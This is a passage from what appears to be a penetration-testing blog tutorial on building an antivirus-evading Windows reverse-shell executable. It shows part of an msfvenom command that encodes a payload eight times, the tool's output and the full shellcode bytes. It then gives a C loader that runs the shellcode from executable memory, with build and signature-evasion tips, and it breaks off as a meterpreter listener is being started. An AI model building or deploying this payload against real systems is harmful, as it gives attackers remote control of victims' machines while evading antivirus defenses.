#CE9178">.0.5</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">LPORT=</span><span style="color: #B5CEA8">9090</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-e</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-i</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">8</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">-f</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">c</span><span style="color: #D4D4D4"> &gt; </span><span style="color: #CE9178">shell.c</span></span></code></pre></div>



<p>In the output of this we&#8217;re interested in <code>Payload size:</code> line, in this example we have 557 bytes</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 8 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai succeeded with size 395 (iteration=1)
x86/shikata_ga_nai succeeded with size 422 (iteration=2)
x86/shikata_ga_nai succeeded with size 449 (iteration=3)
x86/shikata_ga_nai succeeded with size 476 (iteration=4)
x86/shikata_ga_nai succeeded with size 503 (iteration=5)
x86/shikata_ga_nai succeeded with size 530 (iteration=6)
x86/shikata_ga_nai succeeded with size 557 (iteration=7)
x86/shikata_ga_nai chosen with final size 557
Payload size: 557 bytes
Final size of c file: 2366 bytes" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #D4D4D4">[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload</span></span>
<span class="line"><span style="color: #D4D4D4">[-] No arch selected, selecting arch: x86 from the payload</span></span>
<span class="line"><span style="color: #DCDCAA">Found</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">1</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">compatible</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">encoders</span></span>
<span class="line"><span style="color: #DCDCAA">Attempting</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">to</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">encode</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">payload</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">8</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">iterations</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">of</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">x86/shikata_ga_nai</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">368</span><span style="color: #D4D4D4"> (iteration=0)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">395</span><span style="color: #D4D4D4"> (iteration=1)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">422</span><span style="color: #D4D4D4"> (iteration=2)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">449</span><span style="color: #D4D4D4"> (iteration=3)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">476</span><span style="color: #D4D4D4"> (iteration=4)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">503</span><span style="color: #D4D4D4"> (iteration=5)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">530</span><span style="color: #D4D4D4"> (iteration=6)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">succeeded</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span><span style="color: #D4D4D4"> (iteration=7)</span></span>
<span class="line"><span style="color: #DCDCAA">x86/shikata_ga_nai</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">chosen</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">with</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">final</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span></span>
<span class="line"><span style="color: #DCDCAA">Payload</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size:</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">557</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">bytes</span></span>
<span class="line"><span style="color: #DCDCAA">Final</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">size</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">of</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">c</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">file:</span><span style="color: #D4D4D4"> </span><span style="color: #B5CEA8">2366</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">bytes</span></span></code></pre></div>



<p>In our <code>shell.c</code> output we have the following shellcode:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="unsigned char buf[] =
&quot;\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xbb\x3b\xe2\xb0\xc9\xb1&quot;
&quot;\x85\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\xd9\x17\x0d\xc1\xab&quot;
&quot;\x37\x0a\x09\x07\x1e\xa7\x89\x53\xfb\x61\x1b\x2a\x82\x40\xf1&quot;
&quot;\x59\xf8\x61\x01\x62\x94\x74\xe8\x99\x05\x5b\x51\xe8\x63\xe4&quot;
&quot;\x2a\x87\xcc\xea\xfb\x81\x45\x6b\x9a\xbd\x83\x08\x50\xde\x32&quot;
&quot;\x65\x18\x9c\x35\x5b\x77\x9a\x64\xea\x8f\xfa\x13\x1f\x28\xe1&quot;
&quot;\xb9\xfd\xe2\x22\xba\x07\xd5\xe0\x74\xea\xb8\x9c\x81\x28\x24&quot;
&quot;\x11\x81\x75\x4c\xca\x2b\x53\x3f\x7e\xa4\x88\xf8\xaa\x76\x43&quot;
&quot;\x4d\xec\x6d\xca\xf9\xd8\x3f\xf6\x11\xde\x11\xc3\x16\x02\xa5&quot;
&quot;\x04\x32\x29\x21\xc9\x4e\xdf\xa8\xcf\xdc\xd7\x81\x91\xce\x08&quot;
&quot;\x3b\xf8\x72\xc1\xca\x3c\x89\xee\xcd\x89\xab\xa2\xcf\x82\x5d&quot;
&quot;\xdf\x24\xc9\xdb\x19\x83\xa6\x73\xff\xa9\xe4\xce\x23\x0e\xf2&quot;
&quot;\x5a\x1b\x49\x6f\x5c\x32\xa1\x17\xc6\x6a\x83\xfb\xb1\x61\x3c&quot;
&quot;\x63\x1f\x31\xa8\x1e\x53\x68\x3a\xe0\xe5\x17\xb6\x02\x37\x3e&quot;
&quot;\xa2\xbb\xb0\xe1\xb8\x54\x73\xf2\x17\xc6\xad\xe2\x0d\xb0\x84&quot;
&quot;\x56\x54\x82\x23\x79\x1f\x4e\xee\x94\x8f\x3a\xe1\x10\x06\x45&quot;
&quot;\xf9\xb9\x8a\x65\xfd\x02\xc9\x07\xce\xb4\x61\x92\x74\xdf\x14&quot;
&quot;\x47\x19\x51\xe4\x9d\xd8\xa8\x13\xbf\x50\x5b\xf9\x1e\x2d\x48&quot;
&quot;\x8e\x2f\x12\x43\x44\x1f\x9a\xe1\x53\xff\x0b\x33\xd8\x66\xbc&quot;
&quot;\xf2\xfc\xc9\x51\xbd\x2a\x19\xe9\xd5\xbc\x9e\x5f\x72\xcf\x8a&quot;
&quot;\x81\x42\x1c\xd8\x0e\x8c\xed\x75\xfe\x7a\x5d\x72\xff\x81\x09&quot;
&quot;\xa4\x1b\x91\x74\x31\x32\xc5\xd3\x7b\xd0\xd3\x58\x2a\x61\xc0&quot;
&quot;\xdd\x2a\xdc\xe5\x84\x8d\x75\x99\xf8\x66\xcc\x72\xdc\x55\x98&quot;
&quot;\x40\xcf\xc3\xcf\xdb\x02\x61\x0c\xd9\xa4\xf0\x20\xcf\xdb\x3f&quot;
&quot;\x1c\x54\x05\x4d\xe6\xf1\x3a\xd2\x5b\x0c\x4b\x52\x6e\x0c\xfe&quot;
&quot;\xee\x89\x4e\x4c\x17\x55\xc7\x42\x3e\xfd\x8a\xaf\xdf\xe5\x69&quot;
&quot;\xc9\x10\x48\xc6\xab\x85\x41\x23\x4a\xbe\xc4\x85\x27\x5e\x74&quot;
&quot;\xa8\xc3\x9b\x3f\x24\xcc\x4e\x0f\xe0\x54\x26\x0a\x95\x12\x97&quot;
&quot;\x61\x8d\xa8\x90\x95\x1d\x40\x29\x0c\x9a\xf8\xcf\x35\x2f\x64&quot;
&quot;\x27\xc4\x75\x2e\x13\x7a\x12\x7c\x46\x83\xd6\xcf\x18\x41\x1e&quot;
&quot;\x03\x74\xb6\xc7\x90\x7e\x22\x72\xfc\x59\x67\x84\xb5\xe6\x3e&quot;
&quot;\x47\xcd\xbb\xa2\xab\xa3\xb4\xfe\xc2\x6f\x38\x49\xf9\xec\x59&quot;
&quot;\x81\x15\x7b\x10\xc0\x3b\x05\xe1\x5c\xac\x08\x85\x2f\x3f\x90&quot;
&quot;\x29\x2e\xcd\xaa\x4e\x6f\x9f\x9c\xe9\x97\x96\x3f\xb0\xd4\xc1&quot;
&quot;\x64\x22\x20\xe5\xdc\x5a\x0f\x7f\x77\x37\xd1\x51\x77\xa4\x10&quot;
&quot;\xed\x58\xd0\xbb\x62\xa9\x8f\x30\x8e\xa1\x1d\x0d\x73\x3d\x3f&quot;
&quot;\xcb\xf4\xfe\x06\x81\xc6\xf2\x03\xc7\x22\xf0\xeb\x0e\x61\xe6&quot;
&quot;\x5c\xc5&quot;;" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #DCDCAA">unsigned</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">char</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">buf[]</span><span style="color: #D4D4D4"> </span><span style="color: #CE9178">=</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdb\xdd\xd9\x74\x24\xf4\x5a\x31\xc9\xbb\x3b\xe2\xb0\xc9\xb1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x85\x31\x5a\x19\x03\x5a\x19\x83\xea\xfc\xd9\x17\x0d\xc1\xab&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x37\x0a\x09\x07\x1e\xa7\x89\x53\xfb\x61\x1b\x2a\x82\x40\xf1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x59\xf8\x61\x01\x62\x94\x74\xe8\x99\x05\x5b\x51\xe8\x63\xe4&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x2a\x87\xcc\xea\xfb\x81\x45\x6b\x9a\xbd\x83\x08\x50\xde\x32&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x65\x18\x9c\x35\x5b\x77\x9a\x64\xea\x8f\xfa\x13\x1f\x28\xe1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xb9\xfd\xe2\x22\xba\x07\xd5\xe0\x74\xea\xb8\x9c\x81\x28\x24&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x11\x81\x75\x4c\xca\x2b\x53\x3f\x7e\xa4\x88\xf8\xaa\x76\x43&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x4d\xec\x6d\xca\xf9\xd8\x3f\xf6\x11\xde\x11\xc3\x16\x02\xa5&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x04\x32\x29\x21\xc9\x4e\xdf\xa8\xcf\xdc\xd7\x81\x91\xce\x08&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x3b\xf8\x72\xc1\xca\x3c\x89\xee\xcd\x89\xab\xa2\xcf\x82\x5d&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdf\x24\xc9\xdb\x19\x83\xa6\x73\xff\xa9\xe4\xce\x23\x0e\xf2&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x5a\x1b\x49\x6f\x5c\x32\xa1\x17\xc6\x6a\x83\xfb\xb1\x61\x3c&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x63\x1f\x31\xa8\x1e\x53\x68\x3a\xe0\xe5\x17\xb6\x02\x37\x3e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa2\xbb\xb0\xe1\xb8\x54\x73\xf2\x17\xc6\xad\xe2\x0d\xb0\x84&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x56\x54\x82\x23\x79\x1f\x4e\xee\x94\x8f\x3a\xe1\x10\x06\x45&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xf9\xb9\x8a\x65\xfd\x02\xc9\x07\xce\xb4\x61\x92\x74\xdf\x14&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x47\x19\x51\xe4\x9d\xd8\xa8\x13\xbf\x50\x5b\xf9\x1e\x2d\x48&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x8e\x2f\x12\x43\x44\x1f\x9a\xe1\x53\xff\x0b\x33\xd8\x66\xbc&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xf2\xfc\xc9\x51\xbd\x2a\x19\xe9\xd5\xbc\x9e\x5f\x72\xcf\x8a&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x81\x42\x1c\xd8\x0e\x8c\xed\x75\xfe\x7a\x5d\x72\xff\x81\x09&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa4\x1b\x91\x74\x31\x32\xc5\xd3\x7b\xd0\xd3\x58\x2a\x61\xc0&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xdd\x2a\xdc\xe5\x84\x8d\x75\x99\xf8\x66\xcc\x72\xdc\x55\x98&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x40\xcf\xc3\xcf\xdb\x02\x61\x0c\xd9\xa4\xf0\x20\xcf\xdb\x3f&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x1c\x54\x05\x4d\xe6\xf1\x3a\xd2\x5b\x0c\x4b\x52\x6e\x0c\xfe&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xee\x89\x4e\x4c\x17\x55\xc7\x42\x3e\xfd\x8a\xaf\xdf\xe5\x69&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xc9\x10\x48\xc6\xab\x85\x41\x23\x4a\xbe\xc4\x85\x27\x5e\x74&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xa8\xc3\x9b\x3f\x24\xcc\x4e\x0f\xe0\x54\x26\x0a\x95\x12\x97&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x61\x8d\xa8\x90\x95\x1d\x40\x29\x0c\x9a\xf8\xcf\x35\x2f\x64&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x27\xc4\x75\x2e\x13\x7a\x12\x7c\x46\x83\xd6\xcf\x18\x41\x1e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x03\x74\xb6\xc7\x90\x7e\x22\x72\xfc\x59\x67\x84\xb5\xe6\x3e&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x47\xcd\xbb\xa2\xab\xa3\xb4\xfe\xc2\x6f\x38\x49\xf9\xec\x59&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x81\x15\x7b\x10\xc0\x3b\x05\xe1\x5c\xac\x08\x85\x2f\x3f\x90&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x29\x2e\xcd\xaa\x4e\x6f\x9f\x9c\xe9\x97\x96\x3f\xb0\xd4\xc1&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x64\x22\x20\xe5\xdc\x5a\x0f\x7f\x77\x37\xd1\x51\x77\xa4\x10&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xed\x58\xd0\xbb\x62\xa9\x8f\x30\x8e\xa1\x1d\x0d\x73\x3d\x3f&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\xcb\xf4\xfe\x06\x81\xc6\xf2\x03\xc7\x22\xf0\xeb\x0e\x61\xe6&quot;</span></span>
<span class="line"><span style="color: #DCDCAA">&quot;\x5c\xc5&quot;</span><span style="color: #D4D4D4">;</span></span></code></pre></div>



<h3 class="wp-block-heading">Create a Visual Studio Project</h3>



<p>Open Visual Studio and press &#8220;Create a new project&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-create-project.png" alt="" class="wp-image-354"/ loading="lazy" class="lazyload"></figure></div>


<p>Select &#8220;Empty project&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-create-empty-proect.png" alt="" class="wp-image-355"/ loading="lazy" class="lazyload"></figure></div>


<p>Choose a project name and press &#8220;Create&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/create-project.png" alt="" class="wp-image-356"/ loading="lazy" class="lazyload"></figure></div>


<p>In &#8220;Source Files&#8221;, right click to add a &#8220;New item&#8221;:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-new-item.png" alt="" class="wp-image-357"/ loading="lazy" class="lazyload"></figure></div>


<p>Select cpp file and name this &#8220;main.cpp&#8221;:</p>


        <figure class="blog-img no-br">
            <img width="941" height="653" data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1.png" class="attachment-full size-full" alt="" data-srcset="https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1.png 941w, https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1-300x208.png 300w, https://www.virtuesecurity.com/wp-content/uploads/2020/02/add-main-1-768x533.png 768w" sizes="(max-width: 941px) 100vw, 941px" / loading="lazy" class="lazyload">                    </figure>
    


<h3 class="wp-block-heading">Create a custom template</h3>



<p>In your main.cpp file we will paste the following code:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="#include &lt;stdio.h&gt;
#include &lt;windows.h&gt;

unsigned const char payload[] = &quot;&quot;;

size_t size = 0;

int main(int argc, char** argv) {

    char* code;

    printf(&quot;This is just a random string!\n&quot;);

    code = (char*)VirtualAlloc(NULL, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    memcpy(code, payload, size);

    ((void(*)())code)();

    return(0);
}" style="color:#D4D4D4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dark-plus" style="background-color: #1E1E1E" tabindex="0"><code><span class="line"><span style="color: #C586C0">#include</span><span style="color: #569CD6"> </span><span style="color: #CE9178">&lt;stdio.h&gt;</span></span>
<span class="line"><span style="color: #C586C0">#include</span><span style="color: #569CD6"> </span><span style="color: #CE9178">&lt;windows.h&gt;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">unsigned</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">const</span><span style="color: #D4D4D4"> </span><span style="color: #569CD6">char</span><span style="color: #D4D4D4"> payload[] = </span><span style="color: #CE9178">&quot;&quot;</span><span style="color: #D4D4D4">;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">size_t</span><span style="color: #D4D4D4"> size = </span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #569CD6">int</span><span style="color: #D4D4D4"> </span><span style="color: #DCDCAA">main</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">int</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">argc</span><span style="color: #D4D4D4">, </span><span style="color: #569CD6">char**</span><span style="color: #D4D4D4"> </span><span style="color: #9CDCFE">argv</span><span style="color: #D4D4D4">) {</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #569CD6">char</span><span style="color: #D4D4D4">* code;</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">printf</span><span style="color: #D4D4D4">(</span><span style="color: #CE9178">&quot;This is just a random string!</span><span style="color: #D7BA7D">\n</span><span style="color: #CE9178">&quot;</span><span style="color: #D4D4D4">);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    code = (</span><span style="color: #569CD6">char</span><span style="color: #D4D4D4">*)</span><span style="color: #DCDCAA">VirtualAlloc</span><span style="color: #D4D4D4">(</span><span style="color: #569CD6">NULL</span><span style="color: #D4D4D4">, size, MEM_COMMIT,PAGE_EXECUTE_READWRITE);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #DCDCAA">memcpy</span><span style="color: #D4D4D4">(code, payload, size);</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    ((</span><span style="color: #569CD6">void</span><span style="color: #D4D4D4">(*)())code)();</span></span>
<span class="line"></span>
<span class="line"><span style="color: #D4D4D4">    </span><span style="color: #C586C0">return</span><span style="color: #D4D4D4">(</span><span style="color: #B5CEA8">0</span><span style="color: #D4D4D4">);</span></span>
<span class="line"><span style="color: #D4D4D4">}</span></span></code></pre></div>



<p>We just need to change two things:</p>



<p>1. Add the &#8220;Payload size&#8221; number (do not use the &#8220;Final size of c file&#8221;) from when we generated the payload. In this case it was 557 bytes:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/payload-size.png" alt="" class="wp-image-360"/ loading="lazy" class="lazyload"></figure></div>


<p>2. Replace the placeholder in payload[] with the shellcode generated in buf[]:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/shellcode.png" alt="" class="wp-image-361"/ loading="lazy" class="lazyload"></figure></div>


<p>3. Add some random text so we don&#8217;t all use the same signatures!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/random-string.png" alt="" class="wp-image-362"/ loading="lazy" class="lazyload"></figure></div>


<p>4. In the build dropdown select release:</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/visual-studio-release.png" alt="" class="wp-image-359"/ loading="lazy" class="lazyload"></figure></div>


<p>5. Hit Ctrl+B and your payload should be built!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/project-executable.png" alt="" class="wp-image-363"/ loading="lazy" class="lazyload"></figure></div>


<p>Note: If you encounter errors regarding vcruntime140.dll the system may not have the Visual Studio Runtime installed; you may encounter this on minimally built server. To avoid this you can go to Project Properties and change the runtime library to <code>Multi-threaded (/MT)</code> which will create a statically linked binary. This however will be a larger binary and far more prone to detection by AV. Use this only as a last resort!</p>


<div class="wp-block-image">
<figure class="aligncenter"><img data-src="https://www.virtuesecurity.com/wp-content/uploads/2020/02/static-linked-payload.png" alt="" class="wp-image-364"/ loading="lazy" class="lazyload"></figure></div>


<h2 class="wp-block-heading">Starting a meterpreter handler</h2>



<p>On our attacking system we will now create a handler to accept incoming connection from our payload. We should ensure the IP and port are the same as used in previous steps:</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#D4D4D4;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span role="button" tabindex="0" data-code="msf5 &gt; use exploit/multi/handler
